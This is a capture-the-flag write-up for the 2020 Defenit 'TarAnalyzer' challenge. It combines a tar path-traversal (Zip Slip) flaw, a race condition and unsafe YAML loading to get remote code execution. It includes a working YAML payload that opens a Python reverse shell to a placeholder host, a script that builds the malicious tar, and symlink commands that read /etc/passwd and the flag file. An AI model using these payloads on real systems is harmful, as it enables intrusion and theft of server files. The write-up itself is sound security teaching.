TarAnalyzer - 2020 Defenit CTF


tl;dr

  • Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition
  • Unintended Solution: Upload symlink leading to arbitarary file reads

Solved by: c3rb3ru5

Challenge Description

Our developer built simple web server for analyzing tar file and extracting online. He said server is super safe. Is it?
Download source code from here

Analysis

  1. We are given a web app which extracts all the files to the server from any tarfile that we upload.
  2. Endpoints
    • GET /
    • GET /<path:host>
      • Read uploaded files from server.
      • Protection against Path Traversal.
    • POST /analyze
      • Upload Tar Archives.
      • Uses extractall() whose documentation states that files can be created outside of the path.
    • GET /admin
      • Serializes hardcoded data into YAML and writes to file config.yaml.
      • Also deserializes the YAML stream from the file and checks for the host.
  3. The application uses tarfile python library which has some vulnerabilities like:
    • Path Traversal
    • Symlink File Attack
    • More Info
  4. The application uses yaml and write serialized payload to the file config.yaml and also deserializes the contents of that file later on, so a possible deserialization attack can be performed.

Solution

When /admin is serviced, initialization() function is called, in which we know that the file config.yaml has data written to it and, thereafter it is also being read when hostcheck() function is called. So there is a short timespan between the writing and reading, so if in between that time, we can overwrite that file, with our payload, then we can perform a Race Condition, acknowledging that the time frame will be somewhat small.

In initialization():

def initializing():
    try:
        with open('config.yaml', 'w') as fp: 
            data = {'allow_host':'127.0.0.1', 'message':'Hello Admin!'}
            fp.write(dump(data))

    except:
        return False

In hostcheck():

def hostcheck(host):
    try:
        with open('config.yaml', 'rb') as fp: 
            config = load(fp.read(), Loader=Loader)

        if config['allow_host'] == host:
            return config['message']

        else:
            raise()

    except:
        return False

The Zip Slip is a widespread critical archive extraction vulnerability, with which we can write arbitrary files on the server, that may rresult in RCE. It was found in the research by the Snyk Security team, and they also found out that the Python tarfile library was affected by it.

So using the Zip Slip vulnerability, which basically arises because of the extractall() function, it does not check if the we can create a file with the name ../../config.yaml and it will overwrite the existing file which had the hardcoded data.

After this is done, the contents of config.yaml which we overwrote will be deserialized. So we can create a YAML deserialization payload which creates a reverse shell and then get RCE on the server.

For more information on YAML Deserialization, refer to this whitepaper by _j0lt and lon3_rang3r.

RCE Payload:

!!python/object/apply:subprocess.Popen
- !!python/tuple
  - python
  - -c
  - "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('HOST',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"

You can use Peas to create the payload.

Create Malicious TarFile

import tarfile
import io

tar = tarfile.TarFile('malicious.tar', 'w')

info = tarfile.TarInfo("../../config.yaml")

HOST = 'localhost'
PORT = 1234

deserialization_payload = """ 
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - python
    - -c
      - "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{}',{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
""".format(HOST, PORT)

info.size=len(deserialization_payload)
info.mode=0o444 # So it cannot be overwritten

tar.addfile(info, io.BytesIO(deserialization_payload))
tar.close()

So combining Zip Slip and YAML Deserialization and performing a Race Condition will get us a reverse shell on our HOST.

Unintended Solution

During the CTF, we solved this challenge by using Symlinked files, and I came to know of the intended solution posted above from the post-ctf discussions on Discord.

This vulnerability can be found here

So trying to read /etc/passwd:

ln -s /etc/passwd passwd
tar -cvf malicious.tar passwd

We got:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
analyzer:x:1000:1000:Linux User,,,:/home/analyzer:

Trying commonn flag locations:

ln -s /flag.txt flag
tar -cvf malicious.tar flag

And we got the flag.

Flag

Defenit{R4ce_C0nd1710N_74r_5L1P_w17H_Y4ML_Rce!}